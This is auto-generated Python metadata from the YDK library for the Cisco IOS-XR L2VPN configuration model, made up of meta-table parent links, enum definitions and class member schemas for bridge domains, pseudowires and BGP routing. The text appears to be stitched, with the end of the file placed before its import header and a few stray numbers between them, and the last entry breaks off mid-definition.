_meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BridgeDomainPbb.PbbEdges.PbbEdge.PbbStaticMacMappings']['meta_info'].parent =_meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BridgeDomainPbb.PbbEdges.PbbEdge']['meta_info'] _meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BridgeDomainPbb.PbbEdges.PbbEdge.PbbEdgeDhcpProfile']['meta_info'].parent =_meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BridgeDomainPbb.PbbEdges.PbbEdge']['meta_info'] _meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BridgeDomainPbb.PbbEdges.PbbEdge.PbbEdgeMac']['meta_info'].parent =_meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BridgeDomainPbb.PbbEdges.PbbEdge']['meta_info'] _meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BridgeDomainPbb.PbbEdges.PbbEdge']['meta_info'].parent =_meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BridgeDomainPbb.PbbEdges']['meta_info'] _meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BridgeDomainPbb.PbbCore.PbbCoreMac.PbbCoreMacAging']['meta_info'].parent =_meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BridgeDomainPbb.PbbCore.PbbCoreMac']['meta_info'] _meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BridgeDomainPbb.PbbCore.PbbCoreMac.PbbCoreMacLimit']['meta_info'].parent =_meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BridgeDomainPbb.PbbCore.PbbCoreMac']['meta_info'] _meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BridgeDomainPbb.PbbCore.PbbCoreEvis.PbbCoreEvi']['meta_info'].parent =_meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BridgeDomainPbb.PbbCore.PbbCoreEvis']['meta_info'] _meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BridgeDomainPbb.PbbCore.PbbCoreMac']['meta_info'].parent =_meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BridgeDomainPbb.PbbCore']['meta_info'] _meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BridgeDomainPbb.PbbCore.PbbCoreEvis']['meta_info'].parent =_meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BridgeDomainPbb.PbbCore']['meta_info'] _meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BridgeDomainPbb.PbbCore.PbbCoreDhcpProfile']['meta_info'].parent =_meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BridgeDomainPbb.PbbCore']['meta_info'] _meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BridgeDomainPbb.PbbEdges']['meta_info'].parent =_meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BridgeDomainPbb']['meta_info'] _meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BridgeDomainPbb.PbbCore']['meta_info'].parent =_meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BridgeDomainPbb']['meta_info'] _meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BridgeDomainEvis.BridgeDomainEvi']['meta_info'].parent =_meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BridgeDomainEvis']['meta_info'] _meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BdPseudowires.BdPseudowire.PseudowireDai.PseudowireDaiAddressValidation']['meta_info'].parent =_meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BdPseudowires.BdPseudowire.PseudowireDai']['meta_info'] _meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BdPseudowires.BdPseudowire.BdpwStormControlTypes.BdpwStormControlType.StormControlUnit']['meta_info'].parent =_meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BdPseudowires.BdPseudowire.BdpwStormControlTypes.BdpwStormControlType']['meta_info'] _meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BdPseudowires.BdPseudowire.BdpwStormControlTypes.BdpwStormControlType']['meta_info'].parent =_meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BdPseudowires.BdPseudowire.BdpwStormControlTypes']['meta_info'] _meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BdPseudowires.BdPseudowire.BdPwStaticMacAddresses.BdPwStaticMacAddress']['meta_info'].parent =_meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BdPseudowires.BdPseudowire.BdPwStaticMacAddresses']['meta_info'] _meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BdPseudowires.BdPseudowire.PseudowireMac.PseudowireMacSecure']['meta_info'].parent =_meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BdPseudowires.BdPseudowire.PseudowireMac']['meta_info'] _meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BdPseudowires.BdPseudowire.PseudowireMac.PseudowireMacAging']['meta_info'].parent =_meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BdPseudowires.BdPseudowire.PseudowireMac']['meta_info'] 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=_meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BdPseudowires.BdPseudowire']['meta_info'] _meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BdPseudowires.BdPseudowire.BdPwStaticMacAddresses']['meta_info'].parent =_meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BdPseudowires.BdPseudowire']['meta_info'] _meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BdPseudowires.BdPseudowire.PseudowireIpSourceGuard']['meta_info'].parent =_meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BdPseudowires.BdPseudowire']['meta_info'] _meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BdPseudowires.BdPseudowire.PseudowireMac']['meta_info'].parent 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=_meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BdPseudowires.BdPseudowire']['meta_info'] _meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BdPseudowires.BdPseudowire']['meta_info'].parent =_meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.BdPseudowires']['meta_info'] _meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.Vfis.Vfi.MulticastP2Mp.Transports.Transport']['meta_info'].parent =_meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.Vfis.Vfi.MulticastP2Mp.Transports']['meta_info'] _meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.Vfis.Vfi.MulticastP2Mp.Signalings.Signaling']['meta_info'].parent =_meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.Vfis.Vfi.MulticastP2Mp.Signalings']['meta_info'] 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_meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.Vfis.Vfi.VfiPseudowires.VfiPseudowire.VfiPwDhcpSnoop']['meta_info'].parent =_meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.Vfis.Vfi.VfiPseudowires.VfiPseudowire']['meta_info'] _meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.Vfis.Vfi.VfiPseudowires.VfiPseudowire.VfiPwMplsStaticLabels']['meta_info'].parent =_meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.Vfis.Vfi.VfiPseudowires.VfiPseudowire']['meta_info'] _meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.Vfis.Vfi.VfiPseudowires.VfiPseudowire.PseudowireStaticMacAddresses']['meta_info'].parent =_meta_table['L2Vpn.Database.BridgeDomainGroups.BridgeDomainGroup.BridgeDomains.BridgeDomain.Vfis.Vfi.VfiPseudowires.VfiPseudowire']['meta_info'] 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59.957011

406

0.594403

import re import collections from enum import Enum from ydk._core._dm_meta_info import _MetaInfoClassMember, _MetaInfoClass, _MetaInfoEnum from ydk.types import Empty, YList, YLeafList, DELETE, Decimal64, FixedBitsDict from ydk._core._dm_meta_info import ATTRIBUTE, REFERENCE_CLASS, REFERENCE_LIST, REFERENCE_LEAFLIST, REFERENCE_IDENTITY_CLASS, REFERENCE_ENUM_CLASS, REFERENCE_BITS, REFERENCE_UNION from ydk.errors import YPYError, YPYModelError from ydk.providers._importer import _yang_ns _meta_table = { 'FlowLabelTlvCodeEnum' : _MetaInfoEnum('FlowLabelTlvCodeEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { '17':'Y_17', 'disable':'disable', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'BackupDisableEnum' : _MetaInfoEnum('BackupDisableEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'never':'never', 'delay':'delay', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'BgpRouteTargetFormatEnum' : _MetaInfoEnum('BgpRouteTargetFormatEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'none':'none', 'two-byte-as':'two_byte_as', 'four-byte-as':'four_byte_as', 'ipv4-address':'ipv4_address', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'LoadBalanceEnum' : _MetaInfoEnum('LoadBalanceEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'source-dest-mac':'source_dest_mac', 'source-dest-ip':'source_dest_ip', 'pseudowire-label':'pseudowire_label', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'InterworkingEnum' : _MetaInfoEnum('InterworkingEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'ethernet':'ethernet', 'ipv4':'ipv4', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'PwSwitchingPointTlvEnum' : _MetaInfoEnum('PwSwitchingPointTlvEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'hide':'hide', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'MacAgingEnum' : _MetaInfoEnum('MacAgingEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'absolute':'absolute', 'inactivity':'inactivity', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'L2Tpv3SequencingEnum' : _MetaInfoEnum('L2Tpv3SequencingEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'off':'off', 'both':'both', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'ErpPort1Enum' : _MetaInfoEnum('ErpPort1Enum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'port0':'port0', 'port1':'port1', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'InterfaceProfileEnum' : _MetaInfoEnum('InterfaceProfileEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'snoop':'snoop', 'dhcp-protocol':'dhcp_protocol', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'L2EncapsulationEnum' : _MetaInfoEnum('L2EncapsulationEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'vlan':'vlan', 'ethernet':'ethernet', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'InterfaceTrafficFloodEnum' : _MetaInfoEnum('InterfaceTrafficFloodEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'traffic-flooding':'traffic_flooding', 'enable-flooding':'enable_flooding', 'disable-flooding':'disable_flooding', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'L2VpnLoggingEnum' : _MetaInfoEnum('L2VpnLoggingEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'enable':'enable', 'disable':'disable', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'BgpRouteTargetRoleEnum' : _MetaInfoEnum('BgpRouteTargetRoleEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'both':'both', 'import':'import_', 'export':'export', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'ErpPortEnum' : _MetaInfoEnum('ErpPortEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'none':'none', 'virtual':'virtual', 'interface':'interface', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'MacWithdrawBehaviorEnum' : _MetaInfoEnum('MacWithdrawBehaviorEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'legacy':'legacy', 'optimized':'optimized', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'L2TpCookieSizeEnum' : _MetaInfoEnum('L2TpCookieSizeEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'zero':'zero', 'four':'four', 'eight':'eight', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'StormControlEnum' : _MetaInfoEnum('StormControlEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'unicast':'unicast', 'multicast':'multicast', 'broadcast':'broadcast', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'L2TpSignalingProtocolEnum' : _MetaInfoEnum('L2TpSignalingProtocolEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'none':'none', 'l2tpv3':'l2tpv3', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'RplRoleEnum' : _MetaInfoEnum('RplRoleEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'owner':'owner', 'neighbor':'neighbor', 'next-neighbor':'next_neighbor', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'MacLimitActionEnum' : _MetaInfoEnum('MacLimitActionEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'none':'none', 'flood':'flood', 'no-flood':'no_flood', 'shutdown':'shutdown', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'TypeOfServiceModeEnum' : _MetaInfoEnum('TypeOfServiceModeEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'none':'none', 'reflect':'reflect', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'MacNotificationEnum' : _MetaInfoEnum('MacNotificationEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'no-notif':'no_notif', 'syslog':'syslog', 'trap':'trap', 'syslog-snmp':'syslog_snmp', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'L2VpnVerificationEnum' : _MetaInfoEnum('L2VpnVerificationEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'enable':'enable', 'disable':'disable', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'LdpVplsIdEnum' : _MetaInfoEnum('LdpVplsIdEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'two-byte-as':'two_byte_as', 'ipv4-address':'ipv4_address', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'MacLearnEnum' : _MetaInfoEnum('MacLearnEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'default-learning':'default_learning', 'enable-learning':'enable_learning', 'disable-learning':'disable_learning', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'PortDownFlushEnum' : _MetaInfoEnum('PortDownFlushEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'port-down-flush':'port_down_flush', 'enable-port-down-flush':'enable_port_down_flush', 'disable-port-down-flush':'disable_port_down_flush', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'L2VpnCapabilityModeEnum' : _MetaInfoEnum('L2VpnCapabilityModeEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'high-mode':'high_mode', 'single-mode':'single_mode', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'MplsSignalingProtocolEnum' : _MetaInfoEnum('MplsSignalingProtocolEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'none':'none', 'ldp':'ldp', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'BgpRouteTargetEnum' : _MetaInfoEnum('BgpRouteTargetEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'no-stitching':'no_stitching', 'stitching':'stitching', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'ControlWordEnum' : _MetaInfoEnum('ControlWordEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'enable':'enable', 'disable':'disable', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'PreferredPathEnum' : _MetaInfoEnum('PreferredPathEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'te-tunnel':'te_tunnel', 'ip-tunnel':'ip_tunnel', 'tp-tunnel':'tp_tunnel', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'BridgeDomainTransportModeEnum' : _MetaInfoEnum('BridgeDomainTransportModeEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'vlan-passthrough':'vlan_passthrough', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'FlowLabelLoadBalanceEnum' : _MetaInfoEnum('FlowLabelLoadBalanceEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'off':'off', 'receive':'receive', 'transmit':'transmit', 'both':'both', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'BgpRouteDistinguisherEnum' : _MetaInfoEnum('BgpRouteDistinguisherEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'auto':'auto', 'two-byte-as':'two_byte_as', 'four-byte-as':'four_byte_as', 'ipv4-address':'ipv4_address', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'ErpapsEnum' : _MetaInfoEnum('ErpapsEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'interface':'interface', 'bridge-domain':'bridge_domain', 'xconnect':'xconnect', 'none':'none', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'VccvVerificationEnum' : _MetaInfoEnum('VccvVerificationEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'none':'none', 'lsp-ping':'lsp_ping', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'TransportModeEnum' : _MetaInfoEnum('TransportModeEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'ethernet':'ethernet', 'vlan':'vlan', 'vlan-passthrough':'vlan_passthrough', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'MplsSequencingEnum' : _MetaInfoEnum('MplsSequencingEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'off':'off', 'transmit':'transmit', 'receive':'receive', 'both':'both', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'MacSecureActionEnum' : _MetaInfoEnum('MacSecureActionEnum', 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', { 'restrict':'restrict', 'none':'none', 'shutdown':'shutdown', }, 'Cisco-IOS-XR-l2vpn-cfg', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg']), 'L2Vpn.PwRouting.PwRoutingBgp.EvpnRouteDistinguisher' : { 'meta_info' : _MetaInfoClass('L2Vpn.PwRouting.PwRoutingBgp.EvpnRouteDistinguisher', False, [ _MetaInfoClassMember('addr-index', ATTRIBUTE, 'int' , None, None, [('0', '65535')], [], ''' Addr index ''', 'addr_index', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('address', ATTRIBUTE, 'str' , None, None, [], ['(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'], ''' IPV4 address ''', 'address', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('as', ATTRIBUTE, 'int' , None, None, [('1', '4294967295')], [], ''' Two byte or 4 byte AS number ''', 'as_', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('as-index', ATTRIBUTE, 'int' , None, None, [('0', '4294967295')], [], ''' AS:nn (hex or decimal format) ''', 'as_index', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('type', REFERENCE_ENUM_CLASS, 'BgpRouteDistinguisherEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'BgpRouteDistinguisherEnum', [], [], ''' Router Distinguisher Type ''', 'type', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'evpn-route-distinguisher', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.PwRouting.PwRoutingBgp' : { 'meta_info' : _MetaInfoClass('L2Vpn.PwRouting.PwRoutingBgp', False, [ _MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable Autodiscovery BGP ''', 'enable', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('evpn-route-distinguisher', REFERENCE_CLASS, 'EvpnRouteDistinguisher' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.PwRouting.PwRoutingBgp.EvpnRouteDistinguisher', [], [], ''' Route Distinguisher ''', 'evpn_route_distinguisher', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'pw-routing-bgp', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.PwRouting' : { 'meta_info' : _MetaInfoClass('L2Vpn.PwRouting', False, [ _MetaInfoClassMember('pw-routing-bgp', REFERENCE_CLASS, 'PwRoutingBgp' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.PwRouting.PwRoutingBgp', [], [], ''' Enable Autodiscovery BGP Pseudowire-routing BGP ''', 'pw_routing_bgp', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('pw-routing-global-id', ATTRIBUTE, 'int' , None, None, [('1', '4294967295')], [], ''' Pseudowire-routing Global ID ''', 'pw_routing_global_id', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'pw-routing', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Neighbor' : { 'meta_info' : _MetaInfoClass('L2Vpn.Neighbor', False, [ _MetaInfoClassMember('ldp-flap', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable targetted LDP session flap action ''', 'ldp_flap', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'neighbor', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.G8032Rings.G8032Ring.ErpPort0S.ErpPort0' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.G8032Rings.G8032Ring.ErpPort0S.ErpPort0', False, [ _MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None, [], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'], ''' Port0 interface ''', 'interface_name', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('monitor', ATTRIBUTE, 'str' , None, None, [], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'], ''' Ethernet 